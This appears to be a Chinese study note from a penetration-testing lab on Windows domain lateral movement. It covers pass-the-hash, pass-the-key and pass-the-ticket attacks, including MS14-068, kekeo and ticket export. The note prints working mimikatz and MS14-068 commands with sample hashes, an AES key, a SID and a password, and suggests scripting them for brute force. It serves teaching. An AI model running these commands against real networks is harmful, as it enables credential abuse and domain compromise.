
今天讲PTH&PTK&PTT,
PTH(pass the hash) #利用 lm 或 ntlm 的值进行的渗透测试
PTT(pass the ticket) #利用的票据凭证 TGT 进行的渗透测试 用的Kerberos 协议
PTK(pass the key) #利用的 ekeys aes256 进行的渗透测试
lm加密算法是2003以前的老版,2003用户均为ntlm 算法的hash
pth在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过lm hash或者ntlm hash值访问远程主机或服务,不需要提供出来明文密码,
如果禁用了ntlm认证,psexec无法利用获得的ntlm hash值进行远程连接,但是使用mimikatz还是可以攻击成功的,对于安装过kb2871997补丁的,可以使用aes keys代替nt hash来实现ptk攻击
ntml和aes是两种加密算法,他们都属于密码里面加密形式,只是不同的加密算法,可以利用这两个算法的值实现攻击;
tgt票据就好比我们之前说的网站的cookie,可以理解为cookie这个概念,就是在登陆过这个主机的时候,或者说和被人建立链接的一个凭据,和cookie大概意思差不多,
ptt攻击的部分就不是简单得ntlm认证,他是利用Kerberos协议进行的攻击,这里就介绍三种常见的攻击方法,ms14-068,golden ticket,silver ticket。简单来说就是将连接合法的票据注入到内存中实现链接。
ms14-068是基于漏洞,golden ticket(黄金票据),silver ticket(白银票据)属于权限维持技术,ms14-068造成的危害是运行域内任何一个普通用户,将自己的权限提升至域控的权限,微软也给出了补丁是kb3011780
案例一域横向移动 PTH 传递-Mimikatz
mimikatz不仅可以获取明文密码和hash还可以进行相关的攻击,

利用mimikatz获取pth需要的ntml值
这里介绍一个aes获取方法,输入获取aes的命令


这个就是aes值
假设获取到了域控的hash值,然后我们直接用pth去查看目标主机的文件,一定是不会成功的
直接去链接肯定连接不上的,因为我没有一个凭据。
我们利用pth传递之前信息收集得到ntlm hash值,大概率会有一台主机的ntml hash值是和这个也有的,输入payload

就突然弹出来了一个cmd窗口,看前缀权限也很高,

后面想执行什么命令,都要在这个弹出的cmd里面执行,不要再之前那个框执行。

成功执行出目标主机的命令出来
注意;在链接的时候如果ip地址无法识别,就用计算机名字链接
然后我们执行那个攻击的命令的时候并没有指定ip,所以链接的时候是挨个测试所以域内主机的那个用户,admintrator用户,弹出窗口之后,我们不知道那个ip,就用收集到的域内ip,挨个ip查看c盘内容测试,哪一个有回显就是那个ip的;
接下来是没有假设的案例
用本机的信息收集,用本机得到的ntml hash值测试一下随机链接,
然后谈成了窗口,挨个ip测试

测试出来是192.168.3.29这个ip的,
然后在这个主机上运行mimikatz
发现这里的adminstrator根本不是这个ntml hash值,不是连接时候用的5180的ntml,这是为什么,是因为他链接的是本地用户,并不是域用户,我们看到的是god域用户的,
这个肉鸡里面有两个用户一个本地的管理员用户,还有一个域内的用户 名叫boos
sekurlsa::pth/user:administrator/domain:workgroup/ntlm:518b98ad4178a53695dc997aa02d455c
我们这条命令链接的是工作组的管理员用户就是连接到他本地的管理员用户,不是域内的,
sekurlsa::pth/user:boss/domain:god/ntlm:518b98ad4178a53695dc997aa02d455c
用这个命令就链接的域内的boss用户
也可以写为爆破脚本去跑
接下来是个重要知识点
如果禁用了ntml验证,psexec无法利用获得的ntlm hash值进行远程连接,但是即使这个关了,用mimikatz进行pth链接还是可以攻击成功的,
总结;在没有打补丁的时候,所有用户都可以链接,打了补丁之后只能administrator链接
打补丁之后用户固定为administrator,补丁用systenminfo查看即可
案例二域横向移动 PTK 传递-Mimikatz
这个命令就有些不一样了
sekurlsa::pth /user:mary /domain:god /aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b
用ptk去链接,他必须要打补丁才可以,不打补丁链接不上去,
对方打了补丁之后,一种用administrator去链接,第二种就用ptk链接,
区别;

没打补丁之前,只能lm和ntlm,打了之后,还能aes链接所有用户,补丁造就了新的bug
开始攻击,线用mimikatz获取aes
直接输入攻击payload

这里老师把后面的aes值写错了,只是演示一下过程
payload也可以写为爆破脚本
然后就出现弹窗,挨个ip查看

因为后面的值没写对,然后如果值写对了之后,也有可能因为没有打补丁的问题报错
具体原因去参考补丁文章
案例三域横向移动 PTT 传递-MS14068(主要)&kekeo&local
ptt攻击不是单纯的ntlm认证,不是利用ntlm进行攻击的,利用的kerberos协议进行攻击,
三种攻击方法,一种是MS14068漏洞生成的,一种是kekeo这个工具上传到,一种是local 本地生成的,工具和本地都在MS14068失效的时候才考虑用,
MS14068
它能实现普通用户直接获取域控的system权限,
第一步,查看当前sid whoami /user
第二部mimikatz,在这里能用就行,可以不用提权,这里mimkatz就是清空凭据的并不是查看,
因为有域成员的凭据会影响我们的操作,
mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造(不用提升权限)
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件名称 //将票据注入到内存中
3.利用ms14-068生成TGT数据
ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45
-u 执行的域内用户地址,-s就是一开始获取的sid,-d就是域控ip,-p就是域内用户的密码
执行完之后就会生成一个tgt数据,
然后再利用mimikatz把票据注入到内存里面。
这个过程就有点像web里面的cookie欺骗
之后再去链接域控,就相当于采用了伪造的票据进行链接
前期的清空凭据就是防止这个主机已经和域控连接过了,
演示一下
获取本地sid值

之后就打开mimikatz

删除之前的所有凭据

再查看可以看到票据为空

利用payload,生成一个位置的tgt票据
用mimikatz将票据注入内存(类似将伪造的cookie注入浏览器)
mimikatz.exe "kerberos::ptc TGT_mary@god.org.ccache" exit

注入成功之后,我们再去看内存凭据

就出现了一个凭据,看时间就是刚刚生成的凭据

这里要用计算机名字链接,先查看一下域控计算机名字

直接连接上执行命令
原理;生成一个合法的连接请求的票据,然后用mimikatz导入到内存里面,再去链接的时候就已经和发了,
第二种利用工具 kekeo(原理还是类似)
生成票据:(这里需要mary的哈希密码)
.\kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"

利用kekeo导入伪造的票据进行内存
kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi

查看票据
导入成功了
然后建立链接就行了
第三种利用本地票据(需管理权限)
假如在我拿下的这台肉机上,他有链接过域控,就会有类似的储存缓存文件在这个肉鸡上面,我们就把他之前的凭据都给他导出来(导出票就需要本地管理权限),再把之前和域控建立的凭据导入到内存里面去,
利用mimikatz导出票据:sekurlsa::tickets /export

这些都是票据
再把这些凭据加载到内存里面去,在尝试链接
但是这个有一些缺点,这个ptt的存活时间大概就只有十个小时,超过十个小时在导出来,就没有作用力,前提条件;这别人连接后十个小时内拿到这个凭据

导入刚刚获取的凭据
直接就可以直接攻击了
黄金票据和白银票据还没有讲,不过也好理解,就是权限维持,就在靶机上把所有票据都导出来,修改一下存活的时间,保证存活性
案例四国产Ladon 内网杀器测试验收-信息收集,连接等
他这个工具提供两个版本,不过在实战中大部分都不会用图形化的版本,都用会话的,
测试几个功能
信息收集-协议扫描-漏洞探针-传递攻击等
存货主机在线扫描

漏洞探针,存在ms17010漏洞的主机

白色就代表没有这个漏洞
传递攻击
扫描smb协议的端口是否开放

在探针这个漏洞试试


系统权限
fa
cai